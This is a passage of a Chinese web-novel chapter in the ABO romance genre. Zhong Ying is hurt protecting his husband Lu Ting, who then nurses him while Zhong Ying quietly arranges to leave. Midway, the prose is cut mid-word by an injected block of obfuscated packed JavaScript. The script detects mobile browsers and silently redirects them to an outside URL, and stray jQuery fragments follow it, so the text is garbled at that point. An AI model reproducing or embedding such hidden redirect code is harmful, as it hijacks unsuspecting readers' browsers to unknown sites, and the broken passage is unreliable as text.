眼看着钟映倒下去,路羿下意识就要冲上前,却被路霆猛地一把推开。
路霆单膝跪地,小心翼翼地将失去意识的人搂进怀里,颤抖的手托住他的后脑,却瞬间摸到一片温热黏腻的触感,摊开掌心,刺目的血红让他心脏几乎骤停。
“钟映……钟映!”他的声音嘶哑得变了调,朝着周围失控地低吼,“快叫救护车!快!”
路霆低下头,脸颊紧贴着钟映冰凉的额角,语无伦次地喃喃,像是命令又像是哀求:“你千万别有事……否则我让这些人……一个都别想好过……”
“你冲过来干什么……谁让你冲过来的……”
闹事的那群人很快被赶来的警察制伏拷走。
钟映被紧急抬上救护车,路霆一步不离地跟着。
容嘉看着始终守在一旁、面色沉凝的路羿,语气听不出情绪:“你怎么不跟着一起去医院?”
路羿抬眸冷冷地扫了他一眼,没有回答。
容嘉却像是看穿了他的心思,唇角勾起一抹似有若无的弧度:“那个画面,看着心里很不好受吧?”
路羿猛地站起身,居高临下地看着容嘉:“我不是我哥,不会念及什么多年情谊对你手下留情。”
“离我嫂子远一点。就算我哥以后真的跟我嫂子分开了,也绝不会跟你有什么结果。”
“别再做这种白日梦了。”
说完,他不再看容嘉瞬间变得难看的脸色,转身大步离开。
钟映醒来时,只觉得脑袋里像是灌了铅,又沉又晕,一阵阵钝痛不断袭来。
他下意识想用手臂支撑自己坐起来,却猛地倒吸一口冷气,右手臂被厚厚的纱布缠绕着,稍微一动便是钻心的剧痛。
忽然,一只温热的手稳稳扶住他的肩膀。
路霆坐在床边,面色是罕见的凝重,声音也压得极低:“感觉怎么样?”
钟映费力地吐出两个字:“头晕……”
路霆的眉头锁得更紧:“医生说你有点轻微脑震荡。手……”
“骨折了。先清创,再打的石膏。一时半会儿肯定好不了。”
那个Alpha当时下了死手,医生说即便恢复,也可能留下后遗症,很难完全恢复到从前那般灵活。
路霆还记得自己追问医生:“这对以后生活影响大吗?”
医生斟酌着回答:“这不好说。简单日常生活肯定没问题。他是做什么工作的?”
当路霆说出“他喜欢做蛋糕”时,医生沉默了一下,才委婉道:“那以后……估计是不太能使大力气了。”
看着钟映苍白虚弱的样子,路霆心头那股后怕和无名火又窜了起来,语气不由得变得又冲又硬:“我说你一个Omega,当时冲上来凑什么热闹?是嫌自己命太长吗?我需要你保护吗?”
他的话极不客气。
说完,就见钟映静静地看着他,抿了抿有些干裂的嘴唇,依旧沉默着,那双眼睛里却像是写满了“早知道你不会领情”的疲惫。
路霆被他这眼神看得心头一刺,终究没再说什么。他拿过旁边的水杯,将吸管小心地递到钟映唇边,叹了口气,声音缓和下来:“喝点水吧。”
钟映就着他的手,小口喝了几口水,便又昏睡过去。
病房里重新安静下来。
Alpha独自坐在床边,指尖极轻地拂过钟映额前的碎发,凝视着他安静的睡颜,许久,才用低得几乎听不见的声音喃喃道:“快吓死我了……你知不知道……”
原本只是出来度个假,散散心,结果却惹了一身伤回去。
路母听说消息后,一个电话就打过来,把路霆劈头盖脸骂了一通:“不是,我生你这么一大坨出来,亏你还是个将军,结果你让你媳妇替你受这么重的伤?我当初还不如生个叉烧!叉烧还能就米饭让我一口吃了,你皮糙肉厚的,嚼着都废牙!”
路霆在那头沉默了片刻:“……我已经把那几个人处理干净了。”
路母气不打一处来,命令道:“你把钟映送到我这儿来!我来照顾!”
路霆立刻拒绝:“不用,我会照顾他。”
“你得了吧!”路母的声音瞬间拔高,“这些年都是人家孩子在照顾你!我还不知道你?我怕你这么一‘照顾’,我这么好的儿媳妇就真没了!”
“我说你到底怎么想的?啊?到现在还铁了心要离婚?”
电话那头是长久的沉默。
“人家孩子为你挡那一下,简直是豁出命去的!你这个没良心的东西!”路母越说越气,“算了算了,反正跟着你也没得过什么好!等你们真离了,我亲自给我儿媳妇找个知冷知热、贴心贴肺的好人家!”
“妈!”路霆的声音猛地打断她,带着一丝不易察觉的急切,“你别胡说!我没那么想!”
“我会把公务带回家处理……直到他完全康复为止。”
“对他好点吧。”电话那端,路母的声音带着难得的认真,“你发现没有,他多久没对你真心笑过了?”
路霆握着手机,猛地一怔。
记忆里几年前的钟映,仿佛永远精力充沛,眼神亮晶晶的,带着点小心翼翼的讨好和藏不住的爱慕,总能找到各种笨拙的理由凑到他身边。
可究竟是从什么时候开始,那双眼睛看向他时,总是欲言又止,盛满了化不开的悲伤和沉默?
路霆烦躁地揉了揉眉心。
他有时候……也并非真想那样对他。
路羿提着吃的来探望钟映。他细心地剥好一根香蕉,递给靠在床头的人:“大嫂,你是没看见,你当时晕过去,我哥那脸色……吓人得很,那几个人完蛋了。”
钟映接过香蕉,声音还有些虚弱:“……我当时没想那么多,脑子一热就……现在想起来确实后怕。”
路羿笑了笑:“人说到底,最下意识的反应,才是最真实的。”
钟映若有所思点点头,刚咬了一小口香蕉,病房门就被推开。
路霆拎着一个保温袋走进来,目光瞬间锁定了钟映手里的香蕉,又冷冷地扫向路羿:“你别给他乱吃什么东西,马上就到饭点了不知道?”
钟映下意识想替路羿解释:“我就吃了两口……”
路霆一个眼神扫过来,他立刻噤了声。
路羿见状,识趣地起身告辞。路霆二话不说,拿走了那半根香蕉,将带来的饭菜一一打开,摆在小桌板上。
钟映右手打着石膏,只能用左手别扭地拿起勺子,刚适应着舀起一点饭,勺子就被路霆伸手夺了过去。
“笨手笨脚的。”Alpha的语气依旧不算好,“张嘴,我喂你。”
钟映愣愣地看着递到唇边的饭,迟疑地没有动。
“怎么了?”路霆皱眉,“想先喝汤?”
钟映说:“其实我左手……也用得挺好的。”
说着,他的左手就悄悄伸向一旁的餐具。
指尖还没碰到,就被一只温热的大手猝不及防地握住。
路霆的声音听起来有些生硬,甚至像是为自己这反常的举动找补:“我答应了妈,会好好照顾你。”
钟映心中顿时了然。
原来是路母为他抱了不平。路霆此刻的耐心,大概只是因为愧疚,因为自己替他挡的那一下,让他暂时心软了。
“其实你真的不用放在心上的。我……我今天感觉已经好多了。”
路霆看着眼前的钟映。他穿着宽松的浅色病号服,黑发柔软地贴在额前,脸色还有些苍白,嘴唇颜色淡淡的,长长的睫毛垂着,在后脑缠绕的白色绷带衬托下,显得格外脆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345622|183512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弱。
钟映正微微鼓着腮帮,乖乖地吃着喂到嘴边的食物,暂时敛去了所有尖刺和算计,也让人暂时忘记了他那些令人气恼的行径。
就这么安安静静的,一副全然依赖、毫无防备的模样。
路霆看着看着,心里某个坚硬冰冷的角落,突然毫无预兆地“啪嗒”一声,狠狠塌陷下去一块,露出底下连他自己都未曾察觉的柔软。
要是能一直这样,他不会那样对他的。
路霆有些不自在地轻咳一声,掩饰般地舀起一勺饭递过去:“再吃点。”
等饭吃得差不多,钟映最终实在吃不下了,摇着头表示拒绝。路霆竟伸出手,隔着薄薄的病号服摸了摸他的肚子,确认是真的鼓胀了,才满意地点点头:“睡吧。”
对于路霆这种突如其来、且极其强硬的照顾方式,钟映基本处于敢怒不敢言的状态。
喂饭非要喂到十分饱,洗脸的水温路霆觉得刚好,钟映却觉得烫手;一天要被盯着喝十几次水,睡觉必须足十个小时,还要雷打不动地被推出去晒太阳,美其名曰“补钙”。
几天后回到家,钟映站上体重秤,惊愕地发现自己短短时日竟重了三斤。
路霆也确实如他所说,将大部分公务都带回了家里处理。书房的门时常开着,他能听到里面传来低沉的讲电话或视频会议的声音。
而钟映则被看得死死的,每天的生活轨迹变成了简单的两点一线,除了吃,就是被监督着睡。
孟檀清听说钟映受伤后,特意带着女儿悦悦前来探望。
结果门一打开,就看见玄关处站着那个让她觉得颇为“晦气”的人。
所幸路霆只是瞥了她们一眼,说了句“出去办点事”,便拿起外套径直离开了,留下空间给他们。
孟檀清熟门熟路地自己去倒了杯水,看着钟映用没受伤的左手,握着悦悦的小手,拿点心给她吃,不由得感叹:“路霆还真在家照顾你?看来他这人偶尔还有点良心。”
钟映微微摇头:“他大概是心里过意不去罢了。他这个人……最是要强。几年前在前线,就算受了很重的伤,也从不轻易休息,更不会向任何人示弱。”
孟檀清撇撇嘴,毫不客气地评价:“真不知道你到底喜欢他什么?在我眼里,他就是个傲慢无礼、目中无人的自大狂。”
钟映无法反驳。
他有时也觉得,或许这份执念,最初只是源于当年遇险被路霆救下后产生的吊桥效应,将惊惧依赖错当成了心动。
可喜欢这种事,要是真能条分缕析地说清楚,反而才奇怪。
聊了一会儿,孟檀清压低声音,正色道:“你托我办的那件事,已经开始走程序了。大概再过一段时间,等项目正式启动,就能安排妥当。”
钟映点点头,眼中带着感激:“谢谢。以后如果还有机会,我一定尽力报答你。”
孟檀清摆摆手,让他别见外:“你既然终于下定决心要离开,就务必做得干净利落,别留下任何尾巴。”
她的神色严肃起来:“我看路霆绝不是简单好糊弄的人。你倒不用太担心我,我的生意从来没倚靠过他这条线,他权势再大,一时也动不到我头上。但你一定要想清楚,如果被他抓住,后果……不堪设想。”
钟映点头:“他很早之前就想跟我离婚了。是我一直咬着不肯松手,死死拖着。就是因为这份固执,我们的关系才越来越僵,甚至一度闹到水火不容的地步。”
“等到年底,他就会正式宣布我们离婚的消息。他外面有合心意的人,我主动离开路家,他应该……会乐见其成。所以,他大概率不会费心打听我的下落。至于钟家,他们本就理亏,更不会声张。”
孟檀清沉默了片刻,才轻声道:“……希望一切真能如你所料,一切顺利。”